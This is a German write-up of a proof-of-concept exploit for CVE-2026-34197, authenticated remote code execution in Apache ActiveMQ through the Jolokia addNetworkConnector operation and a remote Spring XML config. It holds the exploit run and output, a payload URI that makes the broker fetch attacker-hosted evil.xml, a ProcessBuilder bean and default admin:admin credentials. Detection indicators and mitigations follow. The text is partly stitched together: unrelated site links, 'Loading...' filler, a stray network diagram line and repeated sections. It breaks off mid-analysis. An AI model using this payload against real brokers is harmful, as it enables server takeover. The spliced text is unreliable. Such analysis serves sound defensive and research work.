
Proof-of-Concept-Exploit für CVE-2026-34197, der authentifizierte Remote-Codeausführung in Apache ActiveMQ über die Jolokia JMX-HTTP-Brücke und Spring-XML-Bean-Injektion demonstriert.
Beschreibung
Unsachgemäße Eingabevalidierung, unsachgemäße Kontrolle der Codegenerierung ('Code Injection') Schwachstelle in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic legt die Jolokia JMX-HTTP-Brücke unter /api/jolokia/ auf der Webkonsole offen. Die standardmäßige Jolokia-Zugriffsrichtlinie erlaubt exec-Operationen auf allen ActiveMQ-MBeans (org.apache.activemq:*), einschließlich BrokerService.addNetworkConnector(String) und BrokerService.addConnector(String). Ein authentifizierter Angreifer kann diese Operationen mit einer manipulierten Discovery-URI aufrufen, die den brokerConfig-Parameter des VM-Transports auslöst, um einen entfernten Spring-XML-Anwendungskontext mittels ResourceXmlApplicationContext zu laden. Da Spring's ResourceXmlApplicationContext alle Singleton-Beans instanziiert, bevor BrokerService die Konfiguration validiert, kommt es durch Bean-Factory-Methoden wie Runtime.exec() zur Ausführung beliebigen Codes auf der JVM des Brokers. Dieses Problem betrifft Apache ActiveMQ Broker: vor 5.19.4, ab 6.0.0 vor 6.2.3; Apache ActiveMQ All: vor 5.19.4, ab 6.0.0 vor 6.2.3; Apache ActiveMQ: vor 5.19.4, ab 6.0.0 vor 6.2.3. Benutzern wird empfohlen, auf Version 5.19.4 oder 6.2.3 zu aktualisieren, die das Problem behebt.
Weitere Informationen unter: link
Github: link```bash ❯ docker compose up -d
[No input content provided to translate.]```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
LHOST ist die private IP-Adresse des Computers. Sie können ipconfig unter Windows oder ifconfig unter Linux verwenden
Überprüfen der RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE erfolgreich, die Datei `blahblah.txt` wurde auf dem Zielsystem erstellt.
# Analysephase
## Dynamische Analyse```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
Die Laufzeitprotokolle bestätigten auch, dass Jolokia aktiviert und über die ActiveMQ-Web-Konsole exponiert war:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Verbindung überprüfen```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Das bedeutet:
Um Protokolle zu lesen```bash docker logs activemq-vuln > activemq-rce.log
Dann grep nach der sauberen Kette```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
Nach dem Senden des Payloads```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Diese Zeile ist entscheidend, da sie bestätigt, dass der vom Angreifer kontrollierte URI, der über Folgendes bereitgestellt wird:```java
BrokerView.addNetworkConnector(String)
hat die VM-Transportschicht ohne Bereinigung erreicht.
Die während der Ausnutzung verwendete böswillige URI war:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Diese URI enthält zwei wichtige Teile:
| Component | Purpose |
| --------------- | ------------------------------------------------- |
| `static:(...)` | Wrapper, der von ActiveMQ-Discovery-Connectoren verwendet wird |
| `vm://evil?...` | VM-Transport-URI, die intern von ActiveMQ verarbeitet wird |
Der `static:(...)`-Wrapper selbst ist nicht die angreifbare Komponente. Sein Zweck ist es, die eingeschlossene Transport-URI an das Netzwerk-Connector-Subsystem von ActiveMQ weiterzuleiten.
Während der Laufzeitextraktion extrahierte und verarbeitete ActiveMQ die innere VM-Transport-URI:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Dieses Verhalten wurde in den Laufzeitprotokollen bestätigt:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Der `brokerConfig=`-Parameter ist der kritische Teil der Nutzlast. Er wies die VM-Transport-Schicht an, dynamisch eine Broker-Instanz zu erstellen, die eine externe Spring-xbean-Konfiguration lädt, geladen von:```text
http://192.168.1.32:9999/evil.xml
Das Präfix xbean: führte dazu, dass ActiveMQ die Verarbeitung an Spring's XML-Anwendungskontext-Loader delegierte:```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
Als Ergebnis wurde das entfernte XML-Dokument analysiert und als Spring-Anwendungskontext innerhalb der Broker-JVM instanziiert. Das bösartige XML enthielt die folgende Spring-Bean:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
Diese Bean-Definition wies Spring an, ein ProcessBuilder-Objekt zu instanziieren und sofort dessen start()-Methode während der Initialisierung des Anwendungskontexts aufzurufen.
Der Exploit verwendete den folgenden Befehl:```bash touch /tmp/blahblah.txt
Da Spring Singleton-Beans während der Kontextinitialisierung eifrig instanziiert, wurde die Methode `ProcessBuilder.start()` ausgeführt, bevor ActiveMQ überprüfte, ob die Broker-Konfiguration selbst sicher oder gültig war.
Dies führte zur Ausführung beliebiger Befehle auf dem Zielcontainer.
Der Exploit wurde durch Überprüfen des `/tmp`-Verzeichnisses innerhalb des ActiveMQ-Containers bestätigt:
docker exec <container_name> ls /tmp
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
```
Die Dateimetadaten bestätigten weiterhin die erfolgreiche Befehlsausführung:```bash
❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt
Size: 0
Uid: (0/root)
Gid: (0/root)
Birth: 2026-05-18 04:01:35
```
Dies beweist, dass willkürliche Betriebssystembefehle erfolgreich im Kontext des ActiveMQ-Containers ausgeführt wurden.
Der Laufzeit-Stacktrace offenbarte auch den vollständigen anfälligen Ausführungspfad:```text
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
```
Die folgenden Stack-Trace-Einträge wurden während der Laufzeitanalyse beobachtet:```text
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
```
Eine der wichtigsten Beobachtungen während der dynamischen Analyse war die Reihenfolge, in der Spring und ActiveMQ die schädliche Konfiguration verarbeiteten.
Nachdem das Payload erfolgreich ausgeführt wurde, erzeugte ActiveMQ später die folgende Warnung:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
```
Dieses Verhalten zeigt, dass:```text
Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
```
Even though the broker configuration itself was ultimately rejected, the malicious Spring bean had already been instantiated and executed.
This ordering issue is the core logic flaw behind CVE-2026-34197.
The dynamic analysis identified the following components participating in the exploit chain:
| Komponente | Rolle |
| ----------------------------- | --------------------------------- |
| Jolokia | HTTP-zu-JMX-Brücke |
| BrokerView | Freigegebenes Management-MBean |
| VMTransportFactory | Analysiert `vm://` Transport-URI |
| BrokerFactory | Erstellt Broker-Instanz |
| XBeanBrokerFactory | Lädt Spring-xbean-Konfiguration |
| ResourceXmlApplicationContext | Lädt entferntes XML |
| XmlBeanDefinitionReader | Analysiert Spring-Bean-Definitionen |
| Spring BeanFactory | Instanziiert Singleton-Beans |
| ProcessBuilder | Führt Betriebssystembefehle aus |
The dynamic analysis confirms that CVE-2026-34197 is caused by the interaction between:
* Übermäßig permissive Jolokia-Management-Operationen
* Vom Angreifer kontrollierte Transport-URIs
* Automatische Erstellung des VM-Transport-Brokers
* Laden der Spring-xbean-Fernkonfiguration
* Frühzeitiges Instanziieren von Singleton-Beans vor der Validierung
As a result, an authenticated attacker can achieve arbitrary code execution on the ActiveMQ JVM by supplying a malicious `brokerConfig=xbean:http://...` URI through the Jolokia-exposed `addNetworkConnector()` operation.
### Architekturübersicht
Apache ActiveMQ Classic stellt eine Verwaltungsschnittstelle über die Jolokia-JMX-HTTP-Brücke zur Verfügung, die unter folgender Adresse erreichbar ist:```text id="n0vmrq"
/api/jolokia/
```
Jolokia fungiert als HTTP-zu-JMX-Brücke und ermöglicht es authentifizierten Benutzern, Java Management Extensions (JMX)-Operationen remote über HTTP aufzurufen.
Der identifizierte angreifbare Architekturpfad während der Analyse ist unten dargestellt:```text id="yavj0f"
HTTP Request
->
Jolokia Servlet
->
JMX MBean Invocation
->
BrokerView.addNetworkConnector()
->
VMTransportFactory
->
BrokerFactory
->
XBeanBrokerFactory
->
Spring ResourceXmlApplicationContext
->
Spring Bean Instantiation
->
OS Command Execution
```
The following components were involved in the exploit chain:
| Component | Function |
| --------------------- | -------------------------------------------- |
| Jolokia | Stellt JMX-Operationen über HTTP bereit |
| BrokerView | Schnittstelle für Management MBeans |
| VMTransportFactory | Verarbeitet `vm://`-Transport-URIs |
| BrokerFactory | Erstellt dynamisch Broker |
| XBeanBrokerFactory | Lädt Spring‑xbean‑Konfigurationen |
| Spring Context Loader | Analysiert und instanziiert XML‑Bean‑Definitionen |
| ProcessBuilder | Führt Betriebssystembefehle aus |
Die Architektur wird angreifbar, weil ActiveMQ authentifizierten Benutzern erlaubt, gefährliche Broker‑Verwaltungsmethoden mit angreiferkontrollierten Transport‑URIs aufzurufen.
---
### Angriffsflächenanalyse
Die primäre Angriffsfläche ist der über die ActiveMQ‑Webkonsole bereitgestellte Jolokia‑HTTP‑Endpunkt:```text id="xq7vba"
http://<target>:8161/api/jolokia/
```
Die Laufzeitanalyse bestätigte, dass die Jolokia-Schnittstelle standardmäßig aktiviert war:```text id="y7qz5e"
INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
```
Der Jolokia-Endpunkt akzeptierte authentifizierte Anfragen unter Verwendung der HTTP Basic Authentication:```json id="13tzmx"
"authMode":"basic"
```
Die folgende gefährliche Verwaltungsoperation wurde offengelegt:```java id="pxqv10"
BrokerView.addNetworkConnector(String)
```
Diese Methode akzeptiert eine benutzergesteuerte Transport-URI ohne ausreichende Einschränkung gefährlicher URI-Schemata oder Konfigurationsparameter.
Der Angreifer übermittelte folgenden Payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
Dieser Payload nutzte mehrere Funktionen gleichzeitig aus:
| Feature | Missbrauch |
| ----------------------- | ----------------------------------- |
| `addNetworkConnector()` | Akzeptiert vom Angreifer kontrollierte URI |
| `vm://` transport | Löst dynamische Broker-Erstellung aus |
| `brokerConfig=` | Lädt beliebige Broker-Konfiguration |
| `xbean:` | Ruft Spring XML-Lader auf |
| Remote HTTP URL | Ruft vom Angreifer kontrollierte XML ab |
Die Angriffsfläche umfasst daher:
* Offenlegung der Jolokia HTTP-API
* Schwach eingeschränkte JMX-Verwaltungsvorgänge
* Dynamische Analyse von Transport-URIs
* Laden externer Broker-Konfiguration
* Spring xbean-Integration
---
### Ursachenanalyse
Die Schwachstelle wird durch das Zusammenspiel mehrerer vertrauenswürdiger Subsysteme innerhalb von ActiveMQ verursacht.
Das Kernproblem ist, dass authentifizierte Jolokia-Benutzer gefährliche Broker-Verwaltungsvorgänge mit vom Angreifer kontrollierten Transport-URIs ausführen dürfen.
Der während der Laufzeitanalyse identifizierte anfällige Ausführungsablauf ist:```text id="m57h1r"
Jolokia
->
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
Spring bean instantiation
```
Der kritische Parameter ist:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
```
Dieser Parameter weist die VM-Transportebene an, dynamisch einen Broker mithilfe einer externen Spring-xbean-Konfiguration zu erstellen.
Die folgenden Laufzeitnachweise bestätigten dieses Verhalten:```text id="74y0rw"
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
```
Spring lud dann das entfernte XML über:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
```
Das schädliche XML enthielt:```xml id="y6jphd"
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
```
Während der Initialisierung des Spring-Anwendungskontexts werden Singleton-Beans sofort instanziiert. Infolgedessen wurde die Methode `ProcessBuilder.start()` sofort ausgeführt.
Der entscheidende logische Fehler besteht darin, dass die Instanziierung der Spring-Beans stattfand, bevor ActiveMQ überprüfte, ob die Broker-Konfiguration selbst sicher oder gültig war.
Dieses Verhalten wurde dynamisch nachgewiesen, weil:
1. Die schädliche Nutzlast erstellte erfolgreich `/tmp/blahblah.txt`
2. ActiveMQ lehnte später die Broker-Konfiguration ab mit:```text id="6k1dwn"
The configuration has no BrokerService instance
```
Dies demonstriert, dass die Codeausführung stattfand, bevor die Broker-Validierung abgeschlossen war.
---
### Indikatoren für Kompromittierung (IOC) und Erkennung
Mögliche Indikatoren für eine Kompromittierung umfassen verdächtige Jolokia-Anfragen, die auf ActiveMQ-Verwaltungsvorgänge abzielen.
#### Verdächtige Jolokia-Operationen
Achten Sie auf Anfragen, die folgendes aufrufen:```text id="c56p2k"
addNetworkConnector
addConnector
```
durch:```text id="pt2n3d"
/api/jolokia/
```
#### Verdächtige URI-Muster
Die folgenden URI-Fragmente sind starke Indikatoren für Ausnutzungsversuche:```text id="n9jlwm"
vm://
brokerConfig=
xbean:
static:(
```
Beispiel einer schädlichen Nutzlast:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
```
#### Ausgehende HTTP-Verbindungen
Der Broker kann ausgehende Anfragen an eine von Angreifern kontrollierte Infrastruktur initiieren:```text id="f5g9kx"
http://attacker/evil.xml
```
Unerwarteter ausgehender HTTP-Verkehr von der Broker-JVM sollte untersucht werden.
#### Verdächtige Laufzeitprotokolle
Die folgenden Laufzeitmeldungen sind verdächtig:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
```
https://www.kitploit.com/2022/08/httpx-to-do-http-requests-and-retrieve.html
HTTpx ist ein Tool, mit dem Sie HTTP-Anfragen durchführen und HTTP-Antwortstatuscodes abrufen sowie Antwortheader und mehr extrahieren können.
Mehr von meiner Seite
Memory Process Dump (MPD)
Dynamic Review of Obfuscated JavaScript code
Python File Watcher
PS4 Remote Package Installer
XSS Payload List
Loading... Loading... Loading... Loading... Loading... Loading... http://feedproxy.google.com/~r/PentestTools/~3/38FGQ6p-2v4/httpx-to-do-http-requests-and-retrieve.html Loading...```text id="3q2vls"
ResourceXmlApplicationContext
```
[adcs1]<--- TCP/135 --->[adcs2]```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
```
#### Dateisystem-Artefakte
Unerwartete Dateien unter:```text id="6x7qcm"
/tmp/
```
oder eine verdächtige Ausführung von Kindprozessen aus der ActiveMQ JVM kann auf eine Ausnutzung hindeuten.
---
### Auswirkungsanalyse
Eine erfolgreiche Ausnutzung ermöglicht die authentifizierte Remote-Code-Ausführung im Kontext der ActiveMQ JVM.
In der analysierten Umgebung wurden beliebige Betriebssystembefehle erfolgreich innerhalb des Containers ausgeführt:```bash id="2hyz0w"
touch /tmp/blahblah.txt
```
Ergebnis:```text id="rm2qfd"
/tmp/blahblah.txt
```
Die Datei wurde erstellt als:```text id="9phgkz"
Uid: (0/root)
```
Dies deutet darauf hin, dass die Befehlsausführung mit Root-Rechten innerhalb des Containers erfolgte.
Mögliche Auswirkungen umfassen:
| Auswirkung | Beschreibung |
| --------------------- | ----------------------------------------- |
| Remote Code Execution | Beliebige Befehlsausführung |
| Container-Kompromittierung | Vollständige Kompromittierung des ActiveMQ-Containers |
| Diebstahl von Anmeldedaten | Zugriff auf Broker-Anmeldedaten und Geheimnisse |
| Lateral Movement | Pivotieren zu benachbarten Systemen |
| Persistenz | Erstellung bösartiger Netzwerkverbindungen |
| Datenexposition | Zugriff auf Broker-Nachrichten und Warteschlangen |
Die Schwere erhöht sich erheblich, wenn:
* Jolokia extern freigegeben ist
* Standard-Anmeldedaten aktiviert bleiben
* Container als Root ausgeführt werden
* Broker-Hosts uneingeschränkten ausgehenden Zugriff haben
---
### Gegenmaßnahmen
#### Upgrade auf behobene Versionen
Aktualisieren Sie ActiveMQ Classic auf:```text id="8w0j6k"
5.19.4 or later
6.2.3 or later
```
#### Jolokia-Zugriff einschränken
Deaktivieren Sie Jolokia, falls nicht erforderlich.
Falls Jolokia weiterhin aktiviert bleiben muss:
* Zugriff auf vertrauenswürdige administrative Netzwerke beschränken
* Starke Authentifizierung erzwingen
* Gefährliche Exec-Operationen deaktivieren
* Strenge Jolokia-Zugriffsrichtlinien anwenden
#### Standard-Anmeldedaten entfernen
Nicht verwenden:```text id="9mw1xv"
admin:admin
```
#### Ausgehenden Netzwerkzugriff einschränken
Verhindern Sie, dass der Broker beliebige ausgehende HTTP-Verbindungen initiiert.
Dies mindert Versuche, Remote-XML abzurufen.
#### Gefährliche Funktionen deaktivieren
Schränken Sie ein oder deaktivieren Sie:
* Dynamische Broker-Erstellung
* Nutzung des `vm://`-Transports
* Externes Laden von `xbean:`-Konfigurationen
#### Laufzeitumgebung härten
* Container als Nicht-Root-Benutzer ausführen
* Dateisystembeschränkungen anwenden
* Netzwerksegmentierung verwenden
* Ausführung von JVM-Unterprozessen überwachen
#### Erkennungsempfehlungen
Überwachen Sie auf:
* Anfragen an `/api/jolokia/`
* Nutzung von `addNetworkConnector`
* `brokerConfig=`-Parameter
* `xbean:`-URIs
* Ausgehende HTTP-Anfragen von der Broker-JVM
* Unerwartete von Java erzeugte Unterprozesse
## Statische Analyse
### Überblick über den Quellcode
Der anfällige Pfad durchquert die ActiveMQ-Web-/JMX-Verwaltungsschicht, die Broker-Netzwerkschicht, den VM-Transport, das Broker-Factory-Subsystem und das Spring-XBean-Konfigurationsladen.
Jolokia ist in der ActiveMQ-Web-API-Anwendung aktiviert:```xml
<!-- assembly/src/release/webapps/api/WEB-INF/web.xml -->
<servlet>
<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
...
</servlet>
<servlet-mapping>
<servlet-name>jolokia-agent</servlet-name>
<url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>
```
Beim Start des Brokers registriert ActiveMQ `BrokerView` als Broker-Management-MBean:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
protected void startManagementContext() throws Exception {
getManagementContext().setBrokerName(brokerName);
getManagementContext().start();
adminView = new BrokerView(this, null);
ObjectName objectName = getBrokerObjectName();
AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName);
}
```
Der Objektname wird wie folgt erstellt:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
throws MalformedObjectNameException {
String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
return new ObjectName(objectNameStr);
}
```
In der Standardverteilung macht dies das broker MBean als ein HTTP-aufrufbares Jolokia-Ziel verfügbar, wie:```text
org.apache.activemq:type=Broker,brokerName=localhost
```
Die relevanten Komponentenverantwortlichkeiten sind:
- `BrokerView`: JMX-orientierte Broker-Management-Fassade. Sie stellt `addNetworkConnector(String)` und `addConnector(String)` bereit.
- `BrokerService`: Broker-Laufzeitobjekt. Es wandelt eine String-Adresse eines Netzwerk-Connectors in einen `URI` um und erstellt einen `DiscoveryNetworkConnector`.
- `DiscoveryNetworkConnector`: Verwendet einen Discovery-Agenten, um entfernte Broker-Service-URIs zu erhalten, und verbindet sich dann mit jeder entdeckten URI.
- `TransportFactory`: Löst ein URI-Schema mithilfe von `META-INF/services/org/apache/activemq/transport/<scheme>` in eine Transport-Factory auf.
- `VMTransportFactory`: Behandelt `vm://`-Transporte und kann automatisch einen eingebetteten Broker erstellen, wenn der angeforderte VM-Broker nicht existiert.
- `BrokerFactory`: Löst ein Broker-Konfigurations-URI-Schema mithilfe von `META-INF/services/org/apache/activemq/broker/<scheme>` auf.
- `XBeanBrokerFactory`: Behandelt Broker-Konfigurations-URIs vom Typ `xbean:` und erstellt einen Spring/XBean-Anwendungskontext.
- `ResourceXmlApplicationContext`: Lädt die XML-Ressource und führt eine Spring-Bean-Factory-Aktualisierung durch, einschließlich der Erstellung von eifrigen Singletons.
Die Sicherheitslücke besteht, weil die Verwaltungsmethode eine ActiveMQ-URI-Sprache akzeptiert, die keine passive Datenstruktur ist. Wenn die URI ausgewertet wird, können Broker erstellt und Spring-XML-Konfigurationen geladen werden.
---
### Angriffspunkt
Der anfällige Angriffspunkt ist:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
if (connector == null) {
throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
}
brokerService.registerNetworkConnectorMBean(connector);
connector.start();
return connector.getName();
}
```
Die MBean-Schnittstelle stellt die Operation wie folgt dar:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
```
Der vom Angreifer kontrollierte Eingabeparameter ist das Jolokia `exec`-Argument, das an `discoveryAddress` übergeben wird. In der verwundbaren Version führt `BrokerView.addNetworkConnector()` keine Schemavalidierung, keine Validierung verschachtelter URIs und keine Filterung transportspezifischer Parameter durch, bevor die Zeichenkette an `BrokerService` übergeben wird.
`BrokerService` konvertiert die Zeichenkette direkt in einen `URI`:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
return addNetworkConnector(connector);
}
```
Das Connector-Objekt wird dann mit der lokalen Broker-URI konfiguriert und zum Broker hinzugefügt:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
```
Die Steuerung erreicht das Transport-Subsystem, wenn `BrokerView` den Connector startet:```java
connector.start();
```
Für die exploit URI:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
```
`static:(...)` erstellt einen statischen Discovery-Connector, und die innere `vm://...` URI wird zum entdeckten Remote-Dienst.
---
### VM Transport Analyse
Der VM-Transport wird aufgelöst über:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory
```
Die anfällige Methode ist:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
